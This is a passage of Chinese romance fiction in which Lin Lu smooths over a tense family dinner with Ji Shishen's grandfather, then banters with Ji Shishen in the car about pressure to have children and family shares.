对着季时深使了个眼色,林鹿继续道:“时深,你刚不是说这么长时间没见季爷爷,有很多话要说吗。你们坐着好好聊,我去给你们端点水果过来。” 说完,没等季时深应声,林鹿就起身开溜,直到转角才停下步子,深呼吸了几口。 这还没领证呢,她就已经感受到催生的压力,真不知是该笑还是该愁。不过,也侧面说明,季爷爷这关勉强是过了吧。 林鹿其实是有些松口气的。虽然季鹏越对她不是很满意,但基础的体面还是给了,比想象中的疾言厉色、横挑鼻子竖挑眼已经好很多。 饭后,两人并没有久留,就告别离开。 坐在车后座,林鹿整个人都放松自在开,用胳膊捣了捣季时深道:“在我爸妈那,你知道事急则缓、事缓则圆,变通得很,怎么对上你爷爷就只会硬碰硬了?刚要不是我机灵打岔,你们今天非闹起来不可。怎么样,季时深,你是不是该好好谢谢我。” “现在又连名带姓不叫时深了?我看你刚刚叫得很顺口啊,再叫几声听听,我很喜欢。” 季时深突然正视着林鹿的眼睛,林鹿被看得有些不自在地错开视线:“不想道谢你就直说,不用特意转移话题的。” 轻咳了咳,季时深调整坐姿,又恢复惯常的严肃:“孩子的事,我还是之前的态度,你想什么时候生就什么时候生,不用考虑其他。爷爷手上的股份还影响不了大局,就算影响了,他也不会给其他人,他比我更怕影响到季家在集团的长远根基。”